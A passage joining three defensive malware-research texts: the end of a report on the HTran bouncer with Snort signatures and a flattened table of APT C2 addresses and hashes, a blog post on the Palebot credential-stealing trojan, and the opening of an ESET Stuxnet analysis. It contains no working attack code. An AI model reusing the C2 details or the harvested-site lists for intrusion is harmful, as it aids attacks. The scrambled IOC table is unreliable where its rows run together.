so that if the connection bouncer is unable to connect to the hidden destination in order to relay the incoming traffic, the formatted error message containing the target host and port parameters will be sent to the connecting client. As long as there are no connection issues, HTran might be a useful tool to hide a trojan C2's true location - but, in the case of any connection downtime between the HTran host and the hidden C2, HTran will betray the location of the hidden C2 host. Instances of HTran on multiple hosts could theoretically be chained together in order to add extra layers of obfuscation. However, in case of the final endpoint C2 being unavailable for any reason, the last link in the HTran chain will still pass its connection failure message up the chain, rendering all of the other layers of obfuscation useless. This tiny bit of error debugging code left in by the author can be quite useful if one wants to track HTran-bounced hacking activity to its source. HTran Survey Armed with the knowledge of HTran's transient error message formatting, Dell SecureWorks CTU was able to locate TCP packet captures containing HTran connection errors in response to traffic from other APT-related malware that had been previously executed in our sandnet. The following Snort signatures can be used by other organizations to search for HTran connection error messages in transit on their networks: alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"HTran Connection Redirect Failure Message"; flow:established,from_server; dsize: <80; content:"|5b|SERVER|5d|connection|20|to|20|"; depth:22; reference:url,www.secureworks.com/research/threats/htran/; sid:1111111111;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"HTran Connection Redirect Failure Message (Unicode)"; flow:established,from_server; dsize:<160; content:"|5b00|S|00|E|00|R|00|V|00|E|00|R|005d00|c|00|o|00|n|00|n|00|e|00|c|00|t|00|i|00|o|00|n|002000|t|00|o|002000|"; depth:44; reference:url,www.secureworks.com/research/threats/htran/; sid:1111111112;) In addition to locating historical packet captures containing evidence of HTran connection failures, Dell SecureWorks CTU implemented a scanning system which checks for the HTran error message in responses from active probing of more than a thousand IP addresses known to be associated with APT trojan activity currently or in the past. The results of this survey can be seen in the following table: Malware C2 IP/Port Associated Hostnames epod.businessconsults.net hapyy2010.lflinkup.net info.businessconsults.net 12.38.236.41:443 pop.businessconsults.net ssa.businessconsults.net sys.businessconsults.net bbs.india-videoer.com 173.244.209.196:443 itiupdated.dyndns.info news.india-videoer.com www.india-videoer.com 204.45.228.140:80 create301.dyndns.info 204.45.228.140:443 Host-Related Malware Hashes Hidden Destination IP/Port 3493fc0e4a76b9d12b68afc46cab7f34 112.65.87.58:443 fd4a4ac08f5a7271fbd9b8157d30244e 58.247.25.108:443 51744d77fc8f874934d2715656e1a2df 1daa3e392d1fea79badfbcd86d765d32123.120.102.251:443 855cea7939936e86016a0aedee1d2c24 123.120.106.136:8080 00b9619613bc82f5fe117c2ca394a328 123.120.117.98:9000 123.120.126.73:8080 123.120.127.146:9000 leets.hugesoft.org rouji.freespirit.acmetoy.com slnoa.newsonet.net 207.225.36.69:443 sos.businessconsults.net cca75af9786d7364866f40b80dddcc5c 58.247.240.91:80 trb.arrowservice.net ug-aa.hugesoft.org www.optimizon.com 223.167.5.10:8000 inter.earthsolution.org 212.125.200.197:443 3a3bf6cab9702d0835e8425f4e9d7a9c 223.167.5.250:8000 quick.earthsolution.org 223.167.5.254:8000 bah001.blackcake.net caci2.infosupports.com doa.bigdepression.net lucy2.businessconsults.net lucy2.infosupports.com lucy.blackcake.net lucy.businessconsults.net mantech.blackcake.net 03557c3e5c87e6a121c58f664b0ebf18 212.125.200.204:443 news.businessconsults.net 8a873136b6e4dd70ff9470288ff99d93 112.64.214.174:443 qiao1.bigdepression.net bbf4212f979c32eb6bc43bd8ba5996f9 qiao2.bigdepression.net qiao3.bigdepression.net qiao4.bigdepression.net qiao5.bigdepression.net qiao6.bigdepression.net sports.businessconsults.net srs.infosupports.com 220.110.70.51:443 nsweb.hostent.org c9067c06bb9e8a5304b93687c59e4e15 125.215.189.114:40781 argentinia.faqserv.com epaserver.toythieves.com mailserver.instanthq.com mailserver.sendsmtp.com moiserver.myftp.info mosfdns.ddns.ms 121.229.201.158:10009 60.249.150.162:443 office.lflink.com san.www1.biz 121.229.201.238:10009 seoulsummit.ddns.ms songs.longmusic.com sysinfo.mynumber.org timeforbeat.ns01.us www.cpear.ddns.us yahoo2.epac.to aar.bigdepression.net conn.gxdet.com db.billten.net ddbb.gxdet.com info.billten.net info.dcfrr.com info.helpngr.net 056310138cb5ed295f0df17ac591173d info.new-soho.com 45a66ae3537488f7d63622ded64461e0 info.scitence.net 64.255.101.100 92e28cec1c82f5d82cbd80c64050c5ca 112.64.213.249:443 mail.new-soho.com ec4d34c742d2d5714c600517f05c2253 mailsrv.scitence.net 68.96.31.136 72.167.34.54:443 news.billten.net news.scitence.net pop.dnsweb.org techniq.whandjg.net webmail.dcfrr.com webmail.whandjg.net gee.safalife.com ghma.earthsolution.org hav.earthsolution.org java.earthsolution.org quiet.earthsolution.org special.earthsolution.org visual.earthsolution.org vop.earthsolution.org vope.purpledaily.com catalog.earthsolution.org ou2.infosupports.com ou3.infosupports.com ou7.infosupports.com www2.wikaba.com yang1.infosupports.com yang2.infosupports.com 3a3bf6cab9702d0835e8425f4e9d7a9c 223.167.5.10:8000 7cb055ac3acbf53e07e20b65ec9126a1 47a76cf2e60960405a492bc7f41b0483 58.247.27.232:443 HTran Survey Results The hostnames in the table were gathered using passive DNS records showing that at one point in time they pointed to the IP address in question. The hostnames may currently be pointed at different IP addresses than shown, as they are rotated frequently. The domains involved are all known to be connected to a variety of different Advanced Persistent Threat (APT) trojans. In cases where a related sample has been analyzed by Dell SecureWorks CTU, the MD5 hash of the sample is provided. The survey of HTran traffic shows a clear pattern that can be seen by analyzing the Autonomous System Number (ASN) owner of each hidden IP address: 17621 | 112.64.213.249 |CNCGROUP-SH China Unicom Shanghai network 17621 | 112.64.214.174 |CNCGROUP-SH China Unicom Shanghai network 17621 | 112.65.87.58 |CNCGROUP-SH China Unicom Shanghai network 4134 | 121.229.201.158 |CHINANET-BACKBONE No.31,Jin-rong Street 4134 | 121.229.201.238 |CHINANET-BACKBONE No.31,Jin-rong Street 4808 | 123.120.106.136 |CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 4808 | 123.120.117.98 |CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 4808 | 123.120.126.73 |CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 4808 | 123.120.127.146 |CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 4515 | 125.215.189.114 |ERX-STAR PCCW IMSBiz 60055 | 223.167.5.10 |CNCGROUP-SH China Unicom Shanghai network 60055 | 223.167.5.250 |CNCGROUP-SH China Unicom Shanghai network 60055 | 223.167.5.254 |CNCGROUP-SH China Unicom Shanghai network 17621 | 58.247.240.91 |CNCGROUP-SH China Unicom Shanghai network 17621 | 58.247.25.108 |CNCGROUP-SH China Unicom Shanghai network 17621 | 58.247.27.232 |CNCGROUP-SH China Unicom Shanghai network Autonomous System Owner By HTran IP Address Every hidden IP address observed in the HTran error messages captured during our survey is located on just a few different networks in the People's Republic of China (PRC). In almost every case, the observable C2 is in a different country, most likely the same country in which the victim institution is located. It's not surprising that hackers using a Chinese hacking tool might be operating from IP addresses in the PRC. Most of the Chinese destination IPs belong to large ISPs, making further attribution of the hacking activity difficult or impossible without the cooperation of the PRC government. Conclusion Over the past ten years, we have seen dozens of families of trojans that have been implicated in the theft of documents, email and computer source code from governments, industry and activists. Typically when hacking or malware traffic is reported on the Internet, the location of the source IP is not a reliable indicator of the true origin of the activity, due to the wide variety of programs designed to tunnel IP traffic through other computers. However, occasionally we get a chance to peek behind the curtain, either by advanced analysis of the traffic and/or its contents, or due to simple programmer/user error. This is one of those cases where we were lucky enough to observe a transient event that showed a deliberate attempt to hide the true origin of an APT. This particular hole in the operational security of a certain group of APT actors may soon be closed, however it is impossible for them to erase the evidence gathered before that time. It is our hope that every institution potentially impacted by APT activity will make haste to search out signs of this activity for themselves before the window of opportunity closes. Palebot trojan harvests Palestinian online credentials December 8, 2011 by Snorre Fagerland - I sometimes sample the stream of files that come from VirusTotal, so as not to lose touch with what malware is actually floating around. Of special interest are the files where few or only we have detection, because there is a higher probability that such files are false positives that need to be removed. However, yesterday I found an interesting file. Firts of all, it was relatively clear that it was no false positive, since sandbox and live systems confirmed that it installed using the file name svcshost.exe. It was obviously mimicking the legitimate program svchost.exe, which is a pretty telling hint. Looking at the file revealed out-of-the ordinary traits. It was over 750k in size, and this is somewhat unusual for trojans. It was not packed or obfuscated, so by just looking at the file image some strings jumped out: The lowermost of these URL s appears to be a webmail front for the Palestinian National Authority. The list shown is used as input to a function that has as purpose to grab user credentials from IntelliForms. IntelliForms is the name for the autocomplete function that exists in Internet Explorer. The full list of targeted sites is: https://login.live.com/ http://facebook.com/ http://www.facebook.com/ http://hotmail.com/ http://gmail.com/ http://mail.google.com/ https://portal.iugaza.edu.ps/ https://www.google.com/ https://www.google.com/accounts/ http://www.fatehforums.com/ http://portal.iugaza.edu.ps/ https://login.yahoo.com/config/login https://login.yahoo.com/ https://www.google.com/accounts/service https://my.screenname.aol.com/_cqr/login.psp http://myaccount.jawwal.ps/ http://www.myspace.com http://paypal.com http://moneybookers.com http://mail.mtit.pna.ps/src/login.php Digging further into the origin of this file, I find that it is dropped by a WinRAR SFX installer which also extracts and shows the document below (excerpt): The full text seems to be taken from an article in the Palestinian newspaper Al-Sabah (Google translated): www.alsbah.net. The document, aylol.doc, contains very little metadata, so we are not talking about complete newbies in the targeted attack business. There are apparently at least two versions of this trojan around. Norman Sandbox technology detected these proactively as W32/Malware, but they will be renamed to Palebot.A!apt and B!apt. The trojan is still in analysis, and further details may be published later. s of samples: 7f3b74c9274f501bf0d9ded414b62f80 25f758425fcea95ea07488e13f07e005 1954622c1fe142200ad06eec12291fcd (RAR SFX). Stuxnet Under the Microscope Revision 1.31 Aleksandr Matrosov, Senior Virus Researcher Eugene Rodionov, Rootkit Analyst David Harley, Senior Research Fellow Juraj Malcho, Head of Virus Laboratory Contents INTRODUCTION ................................................................................................................................. 5 TARGETED ATTACKS ............................................................................................................................. 5 STUXNET VERSUS AURORA ..................................................................................................................... 7 STUXNET REVEALED............................................................................................................................ 11 STATISTICS ON THE SPREAD OF THE STUXNET WORM ................................................................................ 15 MICROSOFT, MALWARE AND THE MEDIA ....................................................................................... 17 SCADA, SIEMENS AND STUXNET .......................................................................................................... 17 STUXNET TIMELINE............................................................................................................................. 19 DISTRIBUTION ................................................................................................................................. 24 THE LNK EXPLOIT .............................................................................................................................. 24 3.1.1 Propagation via External Storage Devices ............................................................................... 27 3.1.2 Metasploit and WebDAV Exploit .............................................................................................. 27 3.1.3 What Do DLL Hijacking Flaws and the LNK Exploit have in Common? ..................................... 28 LNK VULNERABILITY IN STUXNET .......................................................................................................... 29 THE MS10-061 ATTACK VECTOR......................................................................................................... 31 NETWORK SHARED FOLDERS AND RPC VULNERABILITY (MS08-067) ......................................................... 34 0-DAY IN WIN32K.SYS (MS10-073) .................................................................................................... 35 MS10-092: EXPLOITING A 0-DAY IN TASK SCHEDULER ............................................................................. 40 STUXNET IMPLEMENTATION ........................................................................................................... 45 USER-MODE FUNCTIONALITY ................................................................................................................ 45 4.1.1 Overview of the main module .................................................................................................. 45 4.1.2 Injecting code ........................................................................................................................... 46 4.1.3 Injecting into a current process ................................................................................................ 47 4.1.4 Injecting into a new process ..................................................................................................... 50 4.1.5 Installation ............................................................................................................................... 50 4.1.6 Exported functions.................................................................................................................... 52 4.1.7 RPC Server ................................................................................................................................ 56 4.1.8 Resources ................................................................................................................................. 58 www.eset.com KERNEL-MODE FUNCTIONALITY ............................................................................................................. 58 4.2.1 MRXCLS.sys............................................................................................................................... 60 4.2.2 MRXNET.sys .............................................................................................................................. 64 STUXNET BOT CONFIGURATION DATA .................................................................................................... 65 REMOTE COMMUNICATION PROTOCOL .................................................................................................. 66 CONCLUSION .......................................................................................................................................... 70 APPENDIX A............................................................................................................................................ 71 APPENDIX B ............................................................................................................................................ 74 APPENDIX C ............................................................................................................................................ 75 APPENDIX D ........................................................................................................................................... 82 APPENDIX E ............................................................................................................................................ 84 www.eset.com Preface This report is devoted to the analysis of the notorious Stuxnet worm (Win32/Stuxnet) that suddenly attracted the attention of virus researchers this summer. This report is primarily intended to describe targeted and semi-targeted attacks, and how they are implemented, focusing mainly on the most recent, namely Stuxnet. This attack is, however, compared to the Aurora attack, outlining the similarities and differences between the two attacks. The paper is structured as follows. In the first section we introduce the targeted attacks and their common characteristics and goals. In this section we present comparison of two attacks: Stuxnet vs. Aurora. The second section contains some general information on SCADA (Supervisory Control And Data Acquisition) systems and PLCs (Programmable Logic Controllers) as Stuxnet s primary targets of. The third section covers the distribution of the Stuxnet worm. Here we describe vulnerabilities that it exploits to infect the target machine. The next section describes the implementation of Stuxnet: usermode and kernel-mode components, RPC Server and their interconnection. We also describe the remote communication protocol that it uses to communicate with the remote C&C. www.eset.com 1 Introduction This section contains information on targeted attacks and its characteristics. In particular, we discuss two types of attacks: attacks targeting a specific company or organization, and attacks targeting specific software and IT infrastructure. We do this by comparing two outstanding examples of these two species of attack: Aurora and Stuxnet. This chapter provides information on some intriguing facts related to Stuxnet, such as timestamps of its binaries, and information on compiler versions which might be useful in analysis of the malware. We end with statistics relating to Stuxnet distribution all over the world. Recently, there has been increased public awareness and information about targeted attacks as the number of such attacks has significantly increased, becoming a separate cybercriminal business sector in its own right. Many companies are reluctant to disclose information about attempted or successful targeted attacks for fear of public relations issues affecting their profits, so the information made available to the public only represents a small part of what is actually happening. Targeted Attacks All targeted attacks can be divided into two major classes: Targeting a specific company or organization - this type of attack is directed at a specific organization and the aim of an intruder is unauthorized access to confidential information such as commercial secrets (as with the Aurora attack). Targeting specific software or IT infrastructure - this type of attack is not directed at a specific company and its target is the data associated with a certain kind of software, for example -banking client software or SCADA systems. Such attacks have to be implemented in a more flexible manner. This class of attacks can do much more damage to a great number of companies than the attacks of the first class. As this class pre-supposes a long term attack, it is designed to circumvent protection systems (as with the Stuxnet attack). The most common vector for the development of targeted external attacks is now considered to be the exploitation of vulnerabilities in popular client-side applications (browsers, plugins and so on). Attackers typically use combinations of multiple steps, which allow them to take root on the client-side. In most cases the first stage of the attack employs social engineering to allow an attacker to lure the victim to a favorable environment for the implementation of the next attack phase. www.eset.com Figure 1.1 Typical Stages of Client-Side Attack Bypassing the security software installed in certain organizations is a crucial objective for most malware. There is a separate cybercriminal business sector devoted to providing the means for malicious software to stay undetected by specific or widely spread antivirus products. Figure 1.2 Custom Malware Protector This kind of service can extend the life of outdated malware, or extend the time new threats stay undetected. However, the use of such technologies to resist detection by antivirus software can be used as a heuristic for the detection of previously unknown samples. But the converse case also holds true: avoiding using any techniques aimed at bypassing antivirus software and making the program resemble legitimate software more closely can be a way of protecting malware. This is the case with the attack mechanism used by the Stuxnet worm. www.eset.com The Stuxnet attack constituted a serious threat to trust in software using legal digital signatures. This creates a problem for white-listing, where security software is based on the a priori assumption that a trusted program meets certain conditions and is therefore indeed trustworthy. And what if the program closely resembles legitimate software and even has digital certificates for installed modules published in the name of reputable companies? All this suggests that targeted attacks could persist much longer over time than we previously imagined. Stuxnet was able to stay undetected for a substantial period where no one saw anything suspicious. The use of a self-launching, 0-day vulnerability in the attack allowed the rapid distribution of Stuxnet in the targeted region. The choice of this kind of vulnerability is quite deliberate, because in the absence of information about its existence, use of the exploit will not be detected. All these facts suggest a well-planned attack which remained unnoticed until long after it was launched. But it is precisely the existence of such threats that inspires us to look at the new vector and the possibility of attacks that use it, in order to reduce the impact of future attacks. Stuxnet versus Aurora In the past year, the public has become aware of two targeted attacks, codenamed Stuxnet and Aurora. Both of these attacks have some common features that characterize recent trends in targeted attacks. Nowadays, the most popular vector of penetration of the user s machine is realized through popular client-side applications (browsers, plugins and other apps). It is much easier to steal data by launching an indirect attack on people with access to important information via a malicious web site, than it is to attack the company s well-protected database server directly. The use of client-side applications as a vector of attack is undoubtedly expected by cautious system users and administrators, but this attack methodology is less predictable and harder to protect against, since in everyday life we use many applications, each of them potentially an attack vector. The Aurora and Stuxnet attacks used 0-day exploits to install malicious programs onto the system. Table 1.2.1 presents data on the malicious programs and exploits used: Table 1.2.1 Malicious Software and Exploits Used to Perform Attacks Characteristics Exploitation vector Aurora Stuxnet MS10-002 (0-day) MS10-046 (0-day) MS10-061 (0-day) MS10-073 (0-day) MS10 -092 (0-day) CVE-2010-2772 (0-day) MS08-067 (patched) Targeted malicious program Win32/Vedrio Win32/Stuxnet Table 1.2.2 displays the characteristics of vulnerable platform and exploits, and indicates how seriously the intruders take their attacks. www.eset.com Table 1.2.2 Platforms Vulnerable to 0-Day Attack Vector Characteristics MS10-002 MS10-046 MS10-061 MS10-073 MS10 -092 all versions of MS Internet Explorer (6, 7, all versions of MS Windows (WinXP, Vista, all versions of MS Windows (WinXP, Vista, WinXP and Win2000 Vista and Win7 Layered shellcode Remote attacks yes (only for WinXP) Other vectors Vulnerable versions The exploit ESET detects as JS/Exploit.CVE-2010-0249 (MS10-002) has a narrower range of possible vectors of distribution than LNK/Exploit.CVE-2010-2568 (MS10-046). The range of vulnerabilities used in the Stuxnet attack have other interesting features making use of such infection vectors as removable flash drives and other USB devices, and resources shared over the network. The exploit LNK/Exploit.CVE2010-2568 is by its nature so designed that detection of the exploit s malicious activity is impossible, if you are not aware of its existence. If we compare the features of these two exploits, it seems that JS/Exploit.CVE-2010-0249 is designed for a surprise attack, while in the case of LNK/Exploit.CVE-20102568 a long-term, persistent attack was intended. An additional propagation vector (MS10-061) can spread rapidly within the local network. These observations confirm the data from Table 1.2.3, which compares the characteristics of the malicious programs used in these attacks. www.eset.com Table 1.2.3 Comparison of attacks Characteristics Aurora Stuxnet Targeted group of specific companies Sites using SCADA systems but promiscuous dissemination download in process infecting all in one malware Code packing Code obfuscation Anti-AV functionality Masking under legal programs Architecture of malicious program modular modular Establishing a backdoor Distributed C&C Communications protocol https http Custom encryption of communications protocol Modules with a legal digital signature Update mechanism yes; downloads and runs the downloaded module via WinAPI yes; downloads updates via WinAPI functions and runs them in memory, without creating any files Uninstall mechanism Infection counter Availability of any modifications malicious program Target Multiple distribution vectors Payload These two attacks have shown us that no information system is absolutely secure and carefully planned targeted or even semi-targeted attacks put a serious weapon into the hands of bad guys. In the case of Stuxnet there are still a lot of open questions, in our report we try to highlight the technical component of this semi-targeted attack. Stuxnet showed us by example how much can be conceived and achieved using massive semi-targeted attacks. www.eset.com Why semi-targeted? While the payload is plainly focused on SCADA systems, the malware s propagation is promiscuous. Criminal (and nation-state funded) malware developers have generally moved away from the use of self-replicating malware towards Trojans spread by other means (spammed URLs, PDFs and Microsoft Office documents compromised with 0-day exploits, and so on). Once self-replicating code is released, it s difficult to exercise complete control over where it goes, what it does, and how far it spreads (which is one of the reasons reputable researchers have always been opposed to the use of good viruses and worms: for the bad guys, it also has the disadvantage that as malware becomes more prevalent and therefore more visible, its usefulness in terms of payload delivery is depleted by public awareness and the wider availability of protection). As we describe elsewhere in this document, there were probably a number of participants in the Stuxnet development project who may have very different backgrounds. However, some of the code looks as if it originated with a "regular" software developer with extensive knowledge of SCADA systems and/or Siemens control systems, rather than with the criminal gangs responsible for most malcode, or even the freelance hacker groups, sometimes thought to be funded by governments and the military, (for example Wicked Rose) we often associate with targeted attacks. However, it s feasible that what re seeing here is the work of a more formally-constituted, multi-disciplinary tiger team . Such officially but unpublicized collaborations, resembling the cooperative work with other agencies that anti-malware researchers sometimes engage in, might be more common than we are actually aware. On the other hand, the nature of the .LNK vulnerability means that even though the mechanism is different to the Autorun mechanism exploited by so much malware in recent years, its use for delivery through USB devices, removable media, and network shares, has resulted in wide enough propagation to prevent the malware from remaining below the radar . This may signify misjudgement on the part of a development team that nevertheless succeeded in putting together a sophisticated collaborative project, or a miscommunication at some point in the development process. On the other hand, it may simply mean that the group was familiar enough with the modus operandi characteristic of SCADA sites to gamble on the likelihood that Stuxnet would hit enough poorly-defended, poorly-patched and poorlyregulated PLCs to gain them the information and control they wanted. Since at the time of writing it has been reported by various sources that some 14 or 15 SCADA sites have been directly affected by the infection of PLCs (Programmable Logic Controllers), the latter proposition may have some validity. While the use of these vectors has increased the visibility of the threat, it s likely that it has also enabled access to sites where air-gapped generic defences were prioritized over automated technical defences like anti-virus, and less automated system updating and patching. This is not a minor consideration, since the withdrawal of support from Windows versions earlier than Windows XP SP3. At the same time, it clear that there are difficulties for some sites where protective measures may involve taking critical systems offline. While there are obvious concerns here concerning SPoFs (single points of failure), the potential problems associated with fixing such issues retrospectively should not be underestimated. www.eset.com Stuxnet Revealed During our research, we have been constantly finding evidence confirming that the Stuxnet attack was carefully prepared. Timestamp in the file ~wtr4141.tmp indicates that the date of compilation was 03/02/2010. Figure 1.3 Header Information from ~wtr4141.tmp Version 9.0 of the linker indicated that attackers used MS Visual Studio 2008 for developing Stuxnet's components. File ~wtr4141.tmp is digitally signed, and the timestamp indicates that the signature on the date of signing coincides with the time of compilation. Figure 1.4 Digital Signature Information from ~wtr4141.tmp Examination of the driver is even more interesting, since the timestamp of MRXCLS.sys indicates that it was compiled on 01/01/2009. An 8.0 version of the linker used to build it suggests that MS Visual Studio 2005 was for development. Using different versions of the linker may indicate as well that this project was developed by a group of people with a clear division of responsibilities. www.eset.com Figure 1.5 Header information from MRXCLS.sys The digital signature shows a later date 25/01/2010, indicating that this module, was available very early on, or was borrowed from another project. Figure 1.6 Digital Signature Information from MRXCLS.sys The second driver was built later and a timestamp of compilation shows 25/01/2010, coinciding with the date of signature of the driver MRXCLS.sys. The same linker version was used and maybe these two drivers were created by one and the same person. Figure 1.7 Header Information from MRXNET.sys The timestamp signature also coincides, and it all seems to point to the date of release for this component. www.eset.com Figure 1.8 Digital Signature Information from MRXNET.sys On July 17th, ESET identified a new driver named jmidebs.sys, compiled on July 14th 2010, and signed with a certificate from a company called "JMicron Technology Corp". This is different from the previous drivers which were signed with the certificate from Realtek Semiconductor Corp. It is interesting to note that both companies whose code signing certificates were used have offices in Hsinchu Science Park, Taiwan. The physical proximity of the two companies may suggest physical theft, but it's also been suggested that the certificates may have been bought from another source. For instance, the Zeus botnet is known to steal certificates, though it probably focuses on banking certificates. (As Randy Abrams pointed out: http://blog.eset.com/2010/07/22/why-steal-digital-certificates) The file jmidebs.sys functions in much the same way as the earlier system drivers, injecting code into processes running on an infected machine. As Pierre-Marc Bureau pointed out in a blog at the time, it wasn't clear whether the attackers changed their certificate because the first one was exposed, or were simply using different certificates for different attacks. Either way, they obviously have significant resources to draw on. The well-planned modular architecture that characterizes the Stuxnet malware, and the large number of modules used, suggests the involvement of a fairly large and well-organized group. (See: http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries). Figure 1.9 Certificate Issued to JMicron Technology Corporation Another interesting finding was the string b:\myrtus\src\objfre_w2k_x86\i386\guava.pdb found in the resource section. www.eset.com Figure 1.10 Interesting String in MRXNET.sys The number of modules included in Stuxnet and the bulkiness of the developed code indicate that this malicious program was developed by a large group of people. Stuxnet is a more mature and technologically advanced (semi-)targeted attack than Aurora. www.eset.com Statistics on the Spread of the Stuxnet Worm The statistical distribution of infected machines Win32/Stuxnet globally, from the beginning of the detection to the end of September, is presented in the figure below: Figure 1.11 Global infection by Win32/Stuxnet (Top 14 Countries) Asian countries are the leaders with the largest number of Stuxnet-infected machines by. Iran is the region where the widest spread Stuxnet has been seen. If we look at the percentage distribution of the number of infections by region, we can generate the following table: Table 1.4.1 The Percentage Distribution of Infections by Region Iran Indonesia India Pakistan Uzbekistan Russia Kazakhstan Belarus 52,2% 17,4% 11,3% 3,6% 2,6% 2,1% 1,3% 1,1% Kyrgyzstan Azerbaijan United States Cuba Tajikistan Afghanistan Rest of the world 1,0% 0,7% 0,6% 0,6% 0,5% 0,3% 4,6% A high volume of detections in a single region may mean that it is the major target of attackers. However, multiple targets may exist, and the promiscuous nature of the infective mechanism is likely to targeting detail. In fact, even known infection of a SCADA site isn t incontrovertible evidence that the site was specifically targeted. It has been suggested that malware could have been spread via flash drives distributed at a SCADA conference or event (as Randy Abrams pointed out in a blog at www.eset.com http://blog.eset.com/2010/07/19/which-army-attacked-the-power-grids. Even that would argue targeting of the sector rather than individual sites, and that targeting is obvious from the payload. Distribution, however, is influenced by a number of factors apart from targeting, such as local availability of security software and adherence to good update/patching practice. Furthermore, our statistics show that the distribution of infections from the earliest days of detection shows a steep decline even in heavily-affected Iran in the days following the initial discovery of the attack, followed by a more gradual decline over subsequent months. However, the sparse information we have about actual infection of SCADA sites using (and affecting) Siemens software suggests that about a third of the sites affected are in the German process industry sector. Siemens have not reported finding any active instances of the worm: in other words, it has checked out PLCs at these sites, but it hasn t attempted to manipulate them. Heise observes that: The worm seems to look for specific types of systems to manipulate. Siemens couldn't provide any details about which systems precisely are or could be affected. (http://www.h-online.com/security/news/item/Stuxnet-also-found-at-industrial-plants-in-Germany1081469.html) Comprehensive analysis of how Stuxnet behaves when it hits a vulnerable installation was published by Ralph Langner, ahead of the ACS conference in Rockville in September 2010. However, the Langner analysis is contradicted in some crucial respects by analysis from other sources (http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process). There was also some fascinating conjecture on display in an interview with Joe Weiss. (http://www.pbs.org/wgbh/pages/frontline/shows/cyberwar/interviews/weiss.html) Joe (Joseph) Weiss is, incidentally, the author of Protecting Industrial Control Systems from Electronic Threats , ISBN: 978-1-60650-197-9, which sounds well worth investigating for a closer look at industrial control systems (ICS) and security. The Amazon page http://www.amazon.com/Protecting-IndustrialControl-Systems-Electronic/dp/1606501976 includes pointers to some other books on related topics as well as some very positive commentary on Joe s book. www.eset.com Microsoft, Malware and the Media This section contains information on events that have taken place since the original outbreak of the Stuxnet malware. While a full-scale account of the media coverage around these events would be a long document in its own right, we present here a partial timeline which puts some of the most significant events in chronological order, ranging from initial detection on 17th of June until the date of release of this Revision. This section also contains a table (Table 2.2.1) that details posts on Stuxnet in ESET s blog. A number of other links are also given non-chronologically so that the reader can track other resources covering various topics related to Stuxnet. While Stuxnet exploits several Windows vulnerabilities, at least four of them described as 0-day: MS08-067 RPC Exploit (http://www.microsoft.com/technet/security/bulletin/ms10067.mspx) MS10-046 LNK Exploit (http://www.microsoft.com/technet/security/bulletin/ms10046.mspx) MS10-061 Spool Server Exploit (http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx) Two privilege escalation (or Elevation of Privilege) vulnerabilities: MS10-073 Win32k.sys Exploit (http://www.microsoft.com/technet/security/bulletin/ms10-073.mspx) MS10-092 Task Scheduler Exploit (http://www.microsoft.com/technet/security/bulletin/ms10-092.mspx) However, it also targets PLCs (Programming Logic Controllers) on sites using Siemens SIMATIC WinCC or STEP 7 SCADA (Supervisory Control And Data Acquisition) systems. SCADA, Siemens and Stuxnet This attack makes additional use of a further vulnerability categorized as CVE-2010-2772, relating to the use of a hard-coded password in those systems allowing a local user to access a back-end database and gain privileged access to the system. This meant not only that the password was exposed to an attacker through reverse engineering, but, in this case, that the system would not continue to work if the password was changed, though that issue was not mentioned in Siemens advice to its customers at http://support.automation.siemens.com/WW/view/en/43876783. Industrial Controls Engineer Jake Brodsky made some very pertinent comments in response to David Harley s blog at http://blog.eset.com/2010/07/20/theres-passwording-and-theres-security. While agreeing that strategically, Siemens were misguided to keep hardcoding the same access account and password into the products in question, and naive in expecting those details to stay secret, Jake pointed out, perfectly reasonably, that tactically, it would be impractical for many sites to take appropriate remedial measures without a great deal of preparation, recognizing that a critical system t be taken down without implementing interim maintenance measures. He suggested, therefore, www.eset.com that isolation of affected systems from the network was likely to be a better short-term measure, combined with the interim measures suggested by Microsoft for working around the .LNK and .PIF issues that were causing concern at the time (http://support.microsoft.com/kb/2286198). www.eset.com Stuxnet Timeline VirusBlokAda reportedly detected Stuxnet components as Trojan-Spy.0485 and MalwareCryptor.Win32.Inject.gen on 17th June 2010 (http://www.anti-virus.by/en/tempo.shtml), and also described the .LNK vulnerability on which most of the subsequent attention was focused. However, it seems that Microsoft, like most of the security industry, only became aware (or publicly acknowledged) the problem in July. (See: http://blogs.technet.com/b/msrc/archive/2010/09/13/september-2010security-bulletin-release.aspx) Realtek Semiconductor were notified of the theft of their digital signature keys on 24th June 2010. (http://www.f-secure.com/weblog/archives/new_rootkit_en.pdf). ESET was already detecting some components of the attack generically early in July 2010, but the magnitude of the problem only started to become obvious later that month. Siemens don t seem to have been notified (or at any rate acknowledged receipt of notification) until 14th July 2010. http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx.sea.siemens.com/us/New s/Industrial/Pages/WinCC_Update.aspx. On the same day, another driver was compiled as subsequently revealed by ESET analysis and reported on 19th July: http://blog.eset.com/2010/07/19/win32stuxnetsigned-binaries On the 15th July, Brian Krebs was, as usual, ahead of the pack at http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/ in pointing out that there was a control systems issue. Advisories were posted by US-CERT and ICS-CERT (http://www.kb.cert.org/vuls/id/940193; http://www.us-cert.gov/control_systems/pdf/ICSA-10-20101%20-%20USB%20Malware%20Targeting%20Siemens%20Control%20Software.pdf.) A Microsoft advisory was posted on 16th July (http://www.microsoft.com/technet/security/advisory/2286198.mspx), supplemented by a Technet blog (http://blogs.technet.com/b/mmpc/archive/2010/07/16/the-stuxnet-sting.aspx). The Internet Storm Center also commented: http://isc.sans.edu/diary.html?storyid=9181. See also MITRE Common Vulnerabilities and Exposures (CVE) #CVE-2010-2568 http://www.cve.mitre.org/cgibin/cvename.cgi?name=CVE-2010-2568 Microsoft Security Advisory #2286198 Workaround: http://support.microsoft.com/kb/2286198; http://go.microsoft.com/?linkid=9738980; http://go.microsoft.com/?linkid=9738981; http://www.microsoft.com/technet/security/advisory/2286198.mspx On the 17th July, the Verisign certificate assigned to Realtek Semiconductor was revoked (http://threatpost.com/en_us/blogs/verisign-revokes-certificate-used-sign-stuxnet-malware-071710). However, the second driver, now using a JMicron certificate was identified: http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries. The first of a comprehensive series of ESET blogs was posted. www.eset.com Table 2.2.1 Stuxnet-Related Blogs by ESET Date Article July 17 